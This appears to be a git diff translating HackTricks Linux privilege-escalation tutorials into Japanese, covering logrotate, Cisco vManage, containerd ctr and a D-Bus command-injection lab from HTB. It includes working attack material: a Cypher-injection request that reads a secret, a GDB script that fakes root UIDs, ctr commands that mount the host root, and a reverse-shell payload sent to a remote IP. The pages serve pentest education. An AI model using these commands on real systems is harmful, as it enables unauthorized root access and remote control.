-`logrotate`の脆弱性により、ログファイルまたはその親ディレクトリに**書き込み権限**を持つユーザーが特権を昇格させる可能性があります。これは、`logrotate`がしばしば**root**として実行され、特に_**/etc/bash_completion.d/**_のようなディレクトリで任意のファイルを実行するように操作できるためです。ログローテーションが適用されるディレクトリだけでなく、_var/log_内の権限も確認することが重要です。 +`logrotate`の脆弱性により、ログファイルまたはその親ディレクトリに**書き込み権限**を持つユーザーが特権を昇格させる可能性があります。これは、`logrotate`がしばしば**root**として実行され、特に_**/etc/bash_completion.d/**_のようなディレクトリで任意のファイルを実行するように操作できるためです。_var/log_だけでなく、ログローテーションが適用される任意のディレクトリでも権限を確認することが重要です。 > [!NOTE] -> この脆弱性は`logrotate`バージョン`3.18.0`およびそれ以前に影響します。 +> この脆弱性は`logrotate`バージョン`3.18.0`およびそれ以前のバージョンに影響します 脆弱性に関する詳細情報はこのページで確認できます: [https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition](https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition)。 @@ -1352,11 +1352,11 @@ DEVICE=eth0 ``` ### **init, init.d, systemd, and rc.d** -ディレクトリ `/etc/init.d` は **System V init (SysVinit)** のための **スクリプト** のホームです。これは **クラシックなLinuxサービス管理システム** であり、サービスを `start`、`stop`、`restart`、時には `reload` するためのスクリプトが含まれています。これらは直接実行することも、`/etc/rc?.d/` に見られるシンボリックリンクを通じて実行することもできます。Redhatシステムの代替パスは `/etc/rc.d/init.d` です。 +ディレクトリ `/etc/init.d` は **System V init (SysVinit)** のための **スクリプト** のホームです。これは **クラシックなLinuxサービス管理システム** であり、サービスを `start`、`stop`、`restart`、時には `reload` するためのスクリプトが含まれています。これらは直接実行することも、 `/etc/rc?.d/` に見られるシンボリックリンクを通じて実行することもできます。Redhatシステムの代替パスは `/etc/rc.d/init.d` です。 -一方、`/etc/init` は **Upstart** に関連しており、これはUbuntuによって導入された新しい **サービス管理** で、サービス管理タスクのための設定ファイルを使用します。Upstartへの移行にもかかわらず、SysVinitスクリプトはUpstartの設定とともに利用され続けており、Upstartには互換性レイヤーがあります。 +一方、 `/etc/init` は **Upstart** に関連しており、これはUbuntuによって導入された新しい **サービス管理** で、サービス管理タスクのための設定ファイルを使用します。Upstartへの移行にもかかわらず、SysVinitスクリプトはUpstartの設定とともに利用され続けており、Upstartには互換性レイヤーがあります。 -**systemd** は現代の初期化およびサービスマネージャーとして登場し、オンデマンドのデーモン起動、自動マウント管理、システム状態スナップショットなどの高度な機能を提供します。ファイルは配布パッケージ用に `/usr/lib/systemd/` に、管理者の変更用に `/etc/systemd/system/` に整理されており、システム管理プロセスを効率化しています。 +**systemd** は現代的な初期化およびサービスマネージャーとして登場し、オンデマンドでのデーモン起動、自動マウント管理、システム状態スナップショットなどの高度な機能を提供します。ファイルは配布パッケージ用に `/usr/lib/systemd/` に、管理者の変更用に `/etc/systemd/system/` に整理されており、システム管理プロセスを効率化しています。 ## Other Tricks diff --git a/src/linux-hardening/privilege-escalation/cisco-vmanage.md b/src/linux-hardening/privilege-escalation/cisco-vmanage.md index d140dcd5a..56cb9a9f8 100644 --- a/src/linux-hardening/privilege-escalation/cisco-vmanage.md +++ b/src/linux-hardening/privilege-escalation/cisco-vmanage.md @@ -6,16 +6,13 @@ (Example from [https://www.synacktiv.com/en/publications/pentesting-cisco-sd-wan-part-1-attacking-vmanage.html](https://www.synacktiv.com/en/publications/pentesting-cisco-sd-wan-part-1-attacking-vmanage.html)) -After digging a little through some [documentation](http://66.218.245.39/doc/html/rn03re18.html) related to `confd` and the different binaries (accessible with an account on the Cisco website), we found that to authenticate the IPC socket, it uses a secret located in `/etc/confd/confd_ipc_secret`: - +`confd` およびさまざまなバイナリに関連するいくつかの [documentation](http://66.218.245.39/doc/html/rn03re18.html) を少し掘り下げた後、IPCソケットを認証するために、`/etc/confd/confd_ipc_secret` にある秘密を使用していることがわかりました。 ``` vmanage:~$ ls -al /etc/confd/confd_ipc_secret -rw-r----- 1 vmanage vmanage 42 Mar 12 15:47 /etc/confd/confd_ipc_secret ``` - -Remember our Neo4j instance? It is running under the `vmanage` user's privileges, thus allowing us to retrieve the file using the previous vulnerability: - +私たちのNeo4jインスタンスを覚えていますか?それは`vmanage`ユーザーの権限で実行されているため、前の脆弱性を利用してファイルを取得することができます: ``` GET /dataservice/group/devices?groupId=test\\\'<>\"test\\\\\")+RETURN+n+UNION+LOAD+CSV+FROM+\"file:///etc/confd/confd_ipc_secret\"+AS+n+RETURN+n+//+' HTTP/1.1 @@ -27,9 +24,7 @@ Host: vmanage-XXXXXX.viptela.net "data":[{"n":["3708798204-3215954596-439621029-1529380576"]}]} ``` - -The `confd_cli` program does not support command line arguments but calls `/usr/bin/confd_cli_user` with arguments. So, we could directly call `/usr/bin/confd_cli_user` with our own set of arguments. However it's not readable with our current privileges, so we have to retrieve it from the rootfs and copy it using scp, read the help, and use it to get the shell: - +`confd_cli` プログラムはコマンドライン引数をサポートしていませんが、引数付きで `/usr/bin/confd_cli_user` を呼び出します。したがって、独自の引数セットで `/usr/bin/confd_cli_user` を直接呼び出すことができます。しかし、現在の権限では読み取れないため、rootfs から取得し、scp を使用してコピーし、ヘルプを読み、シェルを取得するために使用する必要があります: ``` vManage:~$ echo -n "3708798204-3215954596-439621029-1529380576" > /tmp/ipc_secret @@ -47,15 +42,13 @@ vManage:~# id uid=0(root) gid=0(root) groups=0(root) ``` - ## Path 2 (Example from [https://medium.com/walmartglobaltech/hacking-cisco-sd-wan-vmanage-19-2-2-from-csrf-to-remote-code-execution-5f73e2913e77](https://medium.com/walmartglobaltech/hacking-cisco-sd-wan-vmanage-19-2-2-from-csrf-to-remote-code-execution-5f73e2913e77)) -The blog¹ by the synacktiv team described an elegant way to get a root shell, but the caveat is it requires getting a copy of the `/usr/bin/confd_cli_user` which is only readable by root. I found another way to escalate to root without such hassle. - -When I disassembled `/usr/bin/confd_cli` binary, I observed the following: +synacktivチームによるブログ¹は、rootシェルを取得するためのエレガントな方法を説明しましたが、その注意点は、rootのみが読み取れる`/usr/bin/confd_cli_user`のコピーを取得する必要があることです。私は、そのような手間なしにrootに昇格する別の方法を見つけました。 +`/usr/bin/confd_cli`バイナリを逆アセンブルしたとき、私は以下のことを観察しました: ``` vmanage:~$ objdump -d /usr/bin/confd_cli … snipped … @@ -84,46 +77,40 @@ vmanage:~$ objdump -d /usr/bin/confd_cli 4016c4: e8 d7 f7 ff ff callq 400ea0 <*ABS*+0x32e9880f0b@plt> … snipped … ``` - -When I run “ps aux”, I observed the following (_note -g 100 -u 107_) - +“ps aux”を実行したとき、次のことを観察しました(_note -g 100 -u 107_) ``` vmanage:~$ ps aux … snipped … root 28644 0.0 0.0 8364 652 ? Ss 18:06 0:00 /usr/lib/confd/lib/core/confd/priv/cmdptywrapper -I 127.0.0.1 -p 4565 -i 1015 -H /home/neteng -N neteng -m 2232 -t xterm-256color -U 1358 -w 190 -h 43 -c /home/neteng -g 100 -u 1007 bash … snipped … ``` +私は「confd_cli」プログラムがログインユーザーから収集したユーザーIDとグループIDを「cmdptywrapper」アプリケーションに渡すと仮定しました。 -I hypothesized the “confd_cli” program passes the user ID and group ID it collected from the logged in user to the “cmdptywrapper” application. +最初の試みは「cmdptywrapper」を直接実行し、`-g 0 -u 0`を指定することでしたが、失敗しました。どこかの時点でファイルディスクリプタ(-i 1015)が作成されたようで、それを偽装することはできません。 -My first attempt was to run the “cmdptywrapper” directly and supplying it with `-g 0 -u 0`, but it failed. It appears a file descriptor (-i 1015) was created somewhere along the way and I cannot fake it. +synacktivのブログ(最後の例)で述べられているように、`confd_cli`プログラムはコマンドライン引数をサポートしていませんが、デバッガを使って影響を与えることができ、幸運なことにGDBがシステムに含まれています。 -As mentioned in synacktiv’s blog(last example), the `confd_cli` program does not support command line argument, but I can influence it with a debugger and fortunately GDB is included on the system. - -I created a GDB script where I forced the API `getuid` and `getgid` to return 0. Since I already have “vmanage” privilege through the deserialization RCE, I have permission to read the `/etc/confd/confd_ipc_secret` directly. +私はGDBスクリプトを作成し、API `getuid`と`getgid`が0を返すように強制しました。すでにデシリアライズRCEを通じて「vmanage」権限を持っているため、`/etc/confd/confd_ipc_secret`を直接読み取る権限があります。 root.gdb: - ``` set environment USER=root define root - finish - set $rax=0 - continue +finish +set $rax=0 +continue end break getuid commands - root +root end break getgid commands - root +root end run ``` - -Console Output: - +コンソール出力: ``` vmanage:/tmp$ gdb -x root.gdb /usr/bin/confd_cli GNU gdb (GDB) 8.0.1 @@ -157,5 +144,4 @@ root uid=0(root) gid=0(root) groups=0(root) bash-4.4# ``` - {{#include ../../banners/hacktricks-training.md}} diff --git a/src/linux-hardening/privilege-escalation/containerd-ctr-privilege-escalation.md b/src/linux-hardening/privilege-escalation/containerd-ctr-privilege-escalation.md index 74f452daf..902656447 100644 --- a/src/linux-hardening/privilege-escalation/containerd-ctr-privilege-escalation.md +++ b/src/linux-hardening/privilege-escalation/containerd-ctr-privilege-escalation.md @@ -1,10 +1,10 @@ -# Containerd (ctr) Privilege Escalation +# Containerd (ctr) 特権昇格 {{#include ../../banners/hacktricks-training.md}} -## Basic information +## 基本情報 -Go to the following link to learn **what is containerd** and `ctr`: +**containerd** と `ctr` について学ぶには、以下のリンクにアクセスしてください: {{#ref}} ../../network-services-pentesting/2375-pentesting-docker.md @@ -12,38 +12,30 @@ Go to the following link to learn **what is containerd** and `ctr`: ## PE 1 -if you find that a host contains the `ctr` command: - +ホストに `ctr` コマンドが含まれていることがわかった場合: ```bash which ctr /usr/bin/ctr ``` - -You can list the images: - +画像をリストできます: ```bash ctr image list REF TYPE DIGEST SIZE PLATFORMS LABELS registry:5000/alpine:latest application/vnd.docker.distribution.manifest.v2+json sha256:0565dfc4f13e1df6a2ba35e8ad549b7cb8ce6bccbc472ba69e3fe9326f186fe2 100.1 MiB linux/amd64 - registry:5000/ubuntu:latest application/vnd.docker.distribution.manifest.v2+json sha256:ea80198bccd78360e4a36eb43f386134b837455dc5ad03236d97133f3ed3571a 302.8 MiB linux/amd64 - ``` - -And then **run one of those images mounting the host root folder to it**: - +そして**ホストのルートフォルダーをマウントしてその画像の1つを実行します**: ```bash ctr run --mount type=bind,src=/,dst=/,options=rbind -t registry:5000/ubuntu:latest ubuntu bash ``` - ## PE 2 -Run a container privileged and escape from it.\ -You can run a privileged container as: - +特権コンテナを実行し、そこから脱出します。\ +特権コンテナは次のように実行できます: ```bash - ctr run --privileged --net-host -t registry:5000/modified-ubuntu:latest ubuntu bash +ctr run --privileged --net-host -t registry:5000/modified-ubuntu:latest ubuntu bash ``` - -Then you can use some of the techniques mentioned in the following page to **escape from it abusing privileged capabilities**: +次に、**特権機能を悪用してそれから脱出する**ために、以下のページに記載されているいくつかの技術を使用できます: {{#ref}} docker-security/ diff --git a/src/linux-hardening/privilege-escalation/d-bus-enumeration-and-command-injection-privilege-escalation.md b/src/linux-hardening/privilege-escalation/d-bus-enumeration-and-command-injection-privilege-escalation.md index 5cf9f9815..26b55fb7a 100644 --- a/src/linux-hardening/privilege-escalation/d-bus-enumeration-and-command-injection-privilege-escalation.md +++ b/src/linux-hardening/privilege-escalation/d-bus-enumeration-and-command-injection-privilege-escalation.md @@ -1,39 +1,36 @@ -# D-Bus Enumeration & Command Injection Privilege Escalation +# D-Busの列挙とコマンドインジェクションによる特権昇格 {{#include ../../banners/hacktricks-training.md}} -## **GUI enumeration** +## **GUI列挙** -D-Bus is utilized as the inter-process communications (IPC) mediator in Ubuntu desktop environments. On Ubuntu, the concurrent operation of several message buses is observed: the system bus, primarily utilized by **privileged services to expose services relevant across the system**, and a session bus for each logged-in user, exposing services relevant only to that specific user. The focus here is primarily on the system bus due to its association with services running at higher privileges (e.g., root) as our objective is to elevate privileges. It is noted that D-Bus's architecture employs a 'router' per session bus, which is responsible for redirecting client messages to the appropriate services based on the address specified by the clients for the service they wish to communicate with. +D-Busは、Ubuntuデスクトップ環境におけるプロセス間通信(IPC)の仲介者として利用されています。Ubuntuでは、いくつかのメッセージバスが同時に動作しているのが観察されます:システムバスは主に**特権サービスがシステム全体に関連するサービスを公開するために利用され**、各ログインユーザーのためのセッションバスは、その特定のユーザーにのみ関連するサービスを公開します。ここでは、特権を昇格させることを目的としているため、特権の高いサービス(例:root)で動作することに関連するシステムバスに主に焦点を当てています。D-Busのアーキテクチャは、各セッションバスごとに「ルーター」を採用しており、クライアントが通信したいサービスのために指定したアドレスに基づいて、クライアントメッセージを適切なサービスにリダイレクトする役割を担っています。 -Services on D-Bus are defined by the **objects** and **interfaces** they expose. Objects can be likened to class instances in standard OOP languages, with each instance uniquely identified by an **object path**. This path, akin to a filesystem path, uniquely identifies each object exposed by the service. A key interface for research purposes is the **org.freedesktop.DBus.Introspectable** interface, featuring a singular method, Introspect. This method returns an XML representation of the object's supported methods, signals, and properties, with a focus here on methods while omitting properties and signals. - -For communication with the D-Bus interface, two tools were employed: a CLI tool named **gdbus** for easy invocation of methods exposed by D-Bus in scripts, and [**D-Feet**](https://wiki.gnome.org/Apps/DFeet), a Python-based GUI tool designed to enumerate the services available on each bus and to display the objects contained within each service. +D-Bus上のサービスは、**オブジェクト**と**インターフェース**によって定義されます。オブジェクトは、標準的なOOP言語におけるクラスインスタンスに似ており、各インスタンスは**オブジェクトパス**によって一意に識別されます。このパスは、ファイルシステムパスに似ており、サービスによって公開される各オブジェクトを一意に識別します。研究目的での重要なインターフェースは、**org.freedesktop.DBus.Introspectable**インターフェースであり、単一のメソッドIntrospectを特徴としています。このメソッドは、オブジェクトがサポートするメソッド、シグナル、およびプロパティのXML表現を返し、ここではプロパティとシグナルを省略してメソッドに焦点を当てています。 +D-Busインターフェースとの通信には、2つのツールが使用されました:D-Busによって公開されるメソッドをスクリプトで簡単に呼び出すためのCLIツール**gdbus**と、各バスで利用可能なサービスを列挙し、各サービスに含まれるオブジェクトを表示するために設計されたPythonベースのGUIツール[**D-Feet**](https://wiki.gnome.org/Apps/DFeet)です。 ```bash sudo apt-get install d-feet ``` - ![https://unit42.paloaltonetworks.com/wp-content/uploads/2019/07/word-image-21.png](https://unit42.paloaltonetworks.com/wp-content/uploads/2019/07/word-image-21.png) ![https://unit42.paloaltonetworks.com/wp-content/uploads/2019/07/word-image-22.png](https://unit42.paloaltonetworks.com/wp-content/uploads/2019/07/word-image-22.png) -In the first image services registered with the D-Bus system bus are shown, with **org.debin.apt** specifically highlighted after selecting the System Bus button. D-Feet queries this service for objects, displaying interfaces, methods, properties, and signals for chosen objects, seen in the second image. Each method's signature is also detailed. +最初の画像には、D-Busシステムバスに登録されたサービスが表示されており、**org.debin.apt**がシステムバスボタンを選択した後に特に強調表示されています。D-Feetはこのサービスに対してオブジェクトをクエリし、選択されたオブジェクトのインターフェース、メソッド、プロパティ、およびシグナルを表示します。これが2番目の画像で確認できます。各メソッドのシグネチャも詳細に記載されています。 -A notable feature is the display of the service's **process ID (pid)** and **command line**, useful for confirming if the service runs with elevated privileges, important for research relevance. +注目すべき特徴は、サービスの**プロセスID(pid)**と**コマンドライン**が表示されることで、サービスが昇格した特権で実行されているかどうかを確認するのに役立ちます。これは研究の関連性にとって重要です。 -**D-Feet also allows method invocation**: users can input Python expressions as parameters, which D-Feet converts to D-Bus types before passing to the service. +**D-Feetはメソッドの呼び出しも可能です**:ユーザーはパラメータとしてPython式を入力でき、D-FeetはそれをD-Busタイプに変換してサービスに渡します。 -However, note that **some methods require authentication** before allowing us to invoke them. We will ignore these methods, since our goal is to elevate our privileges without credentials in the first place. +ただし、**いくつかのメソッドは認証を必要とします**。これらのメソッドは無視します。なぜなら、私たちの目標は最初から資格情報なしで特権を昇格させることだからです。 -Also note that some of the services query another D-Bus service named org.freedeskto.PolicyKit1 whether a user should be allowed to perform certain actions or not. +また、いくつかのサービスは、ユーザーが特定のアクションを実行することを許可されるべきかどうかを確認するために、別のD-Busサービスであるorg.freedeskto.PolicyKit1にクエリを送信することに注意してください。 ## **Cmd line Enumeration** -### List Service Objects - -It's possible to list opened D-Bus interfaces with: +### サービスオブジェクトのリスト +開いているD-Busインターフェースをリストすることが可能です: ```bash busctl list #List D-Bus interfaces @@ -57,15 +54,13 @@ org.freedesktop.PolicyKit1 - - - (act org.freedesktop.hostname1 - - - (activatable) - - org.freedesktop.locale1 - - - (activatable) - - ``` +#### 接続 -#### Connections +[From wikipedia:](https://en.wikipedia.org/wiki/D-Bus) プロセスがバスへの接続を設定すると、バスはその接続に _unique connection name_ と呼ばれる特別なバス名を割り当てます。このタイプのバス名は不変であり、接続が存在する限り変更されないことが保証されています。さらに重要なことに、バスの寿命中に再利用されることはありません。つまり、同じプロセスがバスへの接続を閉じて新しい接続を作成しても、そのバスへの他の接続にそのようなユニークな接続名が割り当てられることは決してありません。ユニークな接続名は、通常禁止されているコロン文字で始まるため、簡単に認識できます。 -[From wikipedia:](https://en.wikipedia.org/wiki/D-Bus) When a process sets up a connection to a bus, the bus assigns to the connection a special bus name called _unique connection name_. Bus names of this type are immutable—it's guaranteed they won't change as long as the connection exists—and, more importantly, they can't be reused during the bus lifetime. This means that no other connection to that bus will ever have assigned such unique connection name, even if the same process closes down the connection to the bus and creates a new one. Unique connection names are easily recognizable because they start with the—otherwise forbidden—colon character. - -### Service Object Info - -Then, you can obtain some information about the interface with: +### サービスオブジェクト情報 +次に、インターフェースに関する情報を取得できます: ```bash busctl status htb.oouch.Block #Get info of "htb.oouch.Block" interface @@ -94,54 +89,50 @@ AuditLoginUID=n/a AuditSessionID=n/a UniqueName=:1.3 EffectiveCapabilities=cap_chown cap_dac_override cap_dac_read_search - cap_fowner cap_fsetid cap_kill cap_setgid - cap_setuid cap_setpcap cap_linux_immutable cap_net_bind_service - cap_net_broadcast cap_net_admin cap_net_raw cap_ipc_lock - cap_ipc_owner cap_sys_module cap_sys_rawio cap_sys_chroot - cap_sys_ptrace cap_sys_pacct cap_sys_admin cap_sys_boot - cap_sys_nice cap_sys_resource cap_sys_time cap_sys_tty_config - cap_mknod cap_lease cap_audit_write cap_audit_control - cap_setfcap cap_mac_override cap_mac_admin cap_syslog - cap_wake_alarm cap_block_suspend cap_audit_read +cap_fowner cap_fsetid cap_kill cap_setgid +cap_setuid cap_setpcap cap_linux_immutable cap_net_bind_service +cap_net_broadcast cap_net_admin cap_net_raw cap_ipc_lock +cap_ipc_owner cap_sys_module cap_sys_rawio cap_sys_chroot +cap_sys_ptrace cap_sys_pacct cap_sys_admin cap_sys_boot +cap_sys_nice cap_sys_resource cap_sys_time cap_sys_tty_config +cap_mknod cap_lease cap_audit_write cap_audit_control +cap_setfcap cap_mac_override cap_mac_admin cap_syslog +cap_wake_alarm cap_block_suspend cap_audit_read PermittedCapabilities=cap_chown cap_dac_override cap_dac_read_search - cap_fowner cap_fsetid cap_kill cap_setgid - cap_setuid cap_setpcap cap_linux_immutable cap_net_bind_service - cap_net_broadcast cap_net_admin cap_net_raw cap_ipc_lock - cap_ipc_owner cap_sys_module cap_sys_rawio cap_sys_chroot - cap_sys_ptrace cap_sys_pacct cap_sys_admin cap_sys_boot - cap_sys_nice cap_sys_resource cap_sys_time cap_sys_tty_config - cap_mknod cap_lease cap_audit_write cap_audit_control - cap_setfcap cap_mac_override cap_mac_admin cap_syslog - cap_wake_alarm cap_block_suspend cap_audit_read +cap_fowner cap_fsetid cap_kill cap_setgid +cap_setuid cap_setpcap cap_linux_immutable cap_net_bind_service +cap_net_broadcast cap_net_admin cap_net_raw cap_ipc_lock +cap_ipc_owner cap_sys_module cap_sys_rawio cap_sys_chroot +cap_sys_ptrace cap_sys_pacct cap_sys_admin cap_sys_boot +cap_sys_nice cap_sys_resource cap_sys_time cap_sys_tty_config +cap_mknod cap_lease cap_audit_write cap_audit_control +cap_setfcap cap_mac_override cap_mac_admin cap_syslog +cap_wake_alarm cap_block_suspend cap_audit_read InheritableCapabilities= BoundingCapabilities=cap_chown cap_dac_override cap_dac_read_search - cap_fowner cap_fsetid cap_kill cap_setgid - cap_setuid cap_setpcap cap_linux_immutable cap_net_bind_service - cap_net_broadcast cap_net_admin cap_net_raw cap_ipc_lock - cap_ipc_owner cap_sys_module cap_sys_rawio cap_sys_chroot - cap_sys_ptrace cap_sys_pacct cap_sys_admin cap_sys_boot - cap_sys_nice cap_sys_resource cap_sys_time cap_sys_tty_config - cap_mknod cap_lease cap_audit_write cap_audit_control - cap_setfcap cap_mac_override cap_mac_admin cap_syslog - cap_wake_alarm cap_block_suspend cap_audit_read +cap_fowner cap_fsetid cap_kill cap_setgid +cap_setuid cap_setpcap cap_linux_immutable cap_net_bind_service +cap_net_broadcast cap_net_admin cap_net_raw cap_ipc_lock +cap_ipc_owner cap_sys_module cap_sys_rawio cap_sys_chroot +cap_sys_ptrace cap_sys_pacct cap_sys_admin cap_sys_boot +cap_sys_nice cap_sys_resource cap_sys_time cap_sys_tty_config +cap_mknod cap_lease cap_audit_write cap_audit_control +cap_setfcap cap_mac_override cap_mac_admin cap_syslog +cap_wake_alarm cap_block_suspend cap_audit_read ``` +### サービスオブジェクトのインターフェースをリストする -### List Interfaces of a Service Object - -You need to have enough permissions. - +十分な権限が必要です。 ```bash busctl tree htb.oouch.Block #Get Interfaces of the service object └─/htb - └─/htb/oouch - └─/htb/oouch/Block +└─/htb/oouch +└─/htb/oouch/Block ``` +### サービスオブジェクトのインターフェースを調査する -### Introspect Interface of a Service Object - -Note how in this example it was selected the latest interface discovered using the `tree` parameter (_see previous section_): - +この例では、`tree`パラメーターを使用して発見された最新のインターフェースが選択されたことに注意してください(_前のセクションを参照_): ```bash busctl introspect htb.oouch.Block /htb/oouch/Block #Get methods of the interface @@ -159,59 +150,51 @@ org.freedesktop.DBus.Properties interface - - - .Set method ssv - - .PropertiesChanged signal sa{sv}as - - ``` +メソッド `.Block` のインターフェース `htb.oouch.Block` に注意してください(私たちが興味を持っているものです)。他の列の "s" は、文字列を期待していることを意味するかもしれません。 -Note the method `.Block` of the interface `htb.oouch.Block` (the one we are interested in). The "s" of the other columns may mean that it's expecting a string. +### モニター/キャプチャインターフェース -### Monitor/Capture Interface +十分な権限があれば(`send_destination` と `receive_sender` の権限だけでは不十分です)、**D-Bus通信をモニター**できます。 -With enough privileges (just `send_destination` and `receive_sender` privileges aren't enough) you can **monitor a D-Bus communication**. - -In order to **monitor** a **communication** you will need to be **root.** If you still find problems being root check [https://piware.de/2013/09/how-to-watch-system-d-bus-method-calls/](https://piware.de/2013/09/how-to-watch-system-d-bus-method-calls/) and [https://wiki.ubuntu.com/DebuggingDBus](https://wiki.ubuntu.com/DebuggingDBus) +**通信をモニター**するには、**root**である必要があります。まだrootで問題がある場合は、[https://piware.de/2013/09/how-to-watch-system-d-bus-method-calls/](https://piware.de/2013/09/how-to-watch-system-d-bus-method-calls/) と [https://wiki.ubuntu.com/DebuggingDBus](https://wiki.ubuntu.com/DebuggingDBus) を確認してください。 > [!WARNING] -> If you know how to configure a D-Bus config file to **allow non root users to sniff** the communication please **contact me**! - -Different ways to monitor: +> D-Bus設定ファイルを構成して**非rootユーザーが通信をスニッフィングできるようにする方法**を知っている場合は、ぜひ**ご連絡ください**! +モニターするための異なる方法: ```bash sudo busctl monitor htb.oouch.Block #Monitor only specified sudo busctl monitor #System level, even if this works you will only see messages you have permissions to see sudo dbus-monitor --system #System level, even if this works you will only see messages you have permissions to see ``` - -In the following example the interface `htb.oouch.Block` is monitored and **the message "**_**lalalalal**_**" is sent through miscommunication**: - +次の例では、インターフェース `htb.oouch.Block` が監視されており、**メッセージ "**_**lalalalal**_**" が誤通信を通じて送信されます**: ```bash busctl monitor htb.oouch.Block Monitoring bus message stream. ‣ Type=method_call Endian=l Flags=0 Version=1 Priority=0 Cookie=2 - Sender=:1.1376 Destination=htb.oouch.Block Path=/htb/oouch/Block Interface=htb.oouch.Block Member=Block - UniqueName=:1.1376 - MESSAGE "s" { - STRING "lalalalal"; - }; +Sender=:1.1376 Destination=htb.oouch.Block Path=/htb/oouch/Block Interface=htb.oouch.Block Member=Block +UniqueName=:1.1376 +MESSAGE "s" { +STRING "lalalalal"; +}; ‣ Type=method_return Endian=l Flags=1 Version=1 Priority=0 Cookie=16 ReplyCookie=2 - Sender=:1.3 Destination=:1.1376 - UniqueName=:1.3 - MESSAGE "s" { - STRING "Carried out :D"; - }; +Sender=:1.3 Destination=:1.1376 +UniqueName=:1.3 +MESSAGE "s" { +STRING "Carried out :D"; +}; ``` +`capture`の代わりに`monitor`を使用して、結果をpcapファイルに保存できます。 -You can use `capture` instead of `monitor` to save the results in a pcap file. - -#### Filtering all the noise - -If there is just too much information on the bus, pass a match rule like so: +#### ノイズをすべてフィルタリングする +バス上に情報が多すぎる場合は、次のようにマッチルールを渡します: ```bash dbus-monitor "type=signal,sender='org.gnome.TypingMonitor',interface='org.gnome.TypingMonitor'" ``` - -Multiple rules can be specified. If a message matches _any_ of the rules, the message will be printed. Like so: - +複数のルールを指定できます。メッセージが_いずれか_のルールに一致する場合、そのメッセージが印刷されます。次のように: ```bash dbus-monitor "type=error" "sender=org.freedesktop.SystemToolsBackends" ``` @@ -219,83 +202,73 @@ dbus-monitor "type=error" "sender=org.freedesktop.SystemToolsBackends" ```bash dbus-monitor "type=method_call" "type=method_return" "type=error" ``` +[D-Busのドキュメント](http://dbus.freedesktop.org/doc/dbus-specification.html)を参照して、マッチルールの構文に関する詳細情報を確認してください。 -See the [D-Bus documentation](http://dbus.freedesktop.org/doc/dbus-specification.html) for more information on match rule syntax. +### もっと -### More +`busctl`にはさらに多くのオプションがあります。[**ここですべて見つけることができます**](https://www.freedesktop.org/software/systemd/man/busctl.html)。 -`busctl` has even more options, [**find all of them here**](https://www.freedesktop.org/software/systemd/man/busctl.html). - -## **Vulnerable Scenario** - -As user **qtc inside the host "oouch" from HTB** you can find an **unexpected D-Bus config file** located in _/etc/dbus-1/system.d/htb.oouch.Block.conf_: +## **脆弱なシナリオ** +ユーザー**qtcがHTBのホスト「oouch」内にいる場合**、_ /etc/dbus-1/system.d/htb.oouch.Block.conf _にある**予期しないD-Bus設定ファイル**を見つけることができます。 ```xml +"-//freedesktop//DTD D-BUS Bus Configuration 1.0//EN" +"http://www.freedesktop.org/standards/dbus/1.0/busconfig.dtd"> - - - + + + - - - - + + + + ``` +以前の設定から、**このD-BUS通信を介して情報を送受信するには、`root`または`www-data`ユーザーである必要があります**。 -Note from the previous configuration that **you will need to be the user `root` or `www-data` to send and receive information** via this D-BUS communication. - -As user **qtc** inside the docker container **aeb4525789d8** you can find some dbus related code in the file _/code/oouch/routes.py._ This is the interesting code: - +Dockerコンテナ**aeb4525789d8**内のユーザー**qtc**として、ファイル_/code/oouch/routes.py_にいくつかのdbus関連のコードがあります。これが興味深いコードです: ```python if primitive_xss.search(form.textfield.data): - bus = dbus.SystemBus() - block_object = bus.get_object('htb.oouch.Block', '/htb/oouch/Block') - block_iface = dbus.Interface(block_object, dbus_interface='htb.oouch.Block') +bus = dbus.SystemBus() +block_object = bus.get_object('htb.oouch.Block', '/htb/oouch/Block') +block_iface = dbus.Interface(block_object, dbus_interface='htb.oouch.Block') - client_ip = request.environ.get('REMOTE_ADDR', request.remote_addr) - response = block_iface.Block(client_ip) - bus.close() - return render_template('hacker.html', title='Hacker') +client_ip = request.environ.get('REMOTE_ADDR', request.remote_addr) +response = block_iface.Block(client_ip) +bus.close() +return render_template('hacker.html', title='Hacker') ``` +ご覧のとおり、**D-Busインターフェースに接続**し、**「Block」関数**に「client_ip」を送信しています。 -As you can see, it is **connecting to a D-Bus interface** and sending to the **"Block" function** the "client_ip". +D-Bus接続の反対側には、Cでコンパイルされたバイナリが実行されています。このコードは、D-Bus接続で**IPアドレスをリッスン**し、与えられたIPアドレスをブロックするために`system`関数を介してiptablesを呼び出しています。\ +**`system`への呼び出しは意図的にコマンドインジェクションに対して脆弱であり**、次のようなペイロードがリバースシェルを作成します: `;bash -c 'bash -i >& /dev/tcp/10.10.14.44/9191 0>&1' #` -In the other side of the D-Bus connection there is some C compiled binary running. This code is **listening** in the D-Bus connection **for IP address and is calling iptables via `system` function** to block the given IP address.\ -**The call to `system` is vulnerable on purpose to command injection**, so a payload like the following one will create a reverse shell: `;bash -c 'bash -i >& /dev/tcp/10.10.14.44/9191 0>&1' #` - -### Exploit it - -At the end of this page you can find the **complete C code of the D-Bus application**. Inside of it you can find between the lines 91-97 **how the `D-Bus object path`** **and `interface name`** are **registered**. This information will be necessary to send information to the D-Bus connection: +### これを悪用する +このページの最後に、**D-Busアプリケーションの完全なCコード**があります。その中には、91行目から97行目の間に**`D-Busオブジェクトパス`** **と`インターフェース名`**が**登録されている**方法が記載されています。この情報は、D-Bus接続に情報を送信するために必要です: ```c - /* Install the object */ - r = sd_bus_add_object_vtable(bus, - &slot, - "/htb/oouch/Block", /* interface */ - "htb.oouch.Block", /* service object */ - block_vtable, - NULL); +/* Install the object */ +r = sd_bus_add_object_vtable(bus, +&slot, +"/htb/oouch/Block", /* interface */ +"htb.oouch.Block", /* service object */ +block_vtable, +NULL); ``` - -Also, in line 57 you can find that **the only method registered** for this D-Bus communication is called `Block`(_**Thats why in the following section the payloads are going to be sent to the service object `htb.oouch.Block`, the interface `/htb/oouch/Block` and the method name `Block`**_): - +また、57行目には**このD-Bus通信に登録されている唯一のメソッド**が`Block`と呼ばれていることがわかります(_**そのため、次のセクションではペイロードがサービスオブジェクト`htb.oouch.Block`、インターフェース`/htb/oouch/Block`、およびメソッド名`Block`に送信されます**_): ```c SD_BUS_METHOD("Block", "s", "s", method_block, SD_BUS_VTABLE_UNPRIVILEGED), ``` - #### Python -The following python code will send the payload to the D-Bus connection to the `Block` method via `block_iface.Block(runme)` (_note that it was extracted from the previous chunk of code_): - 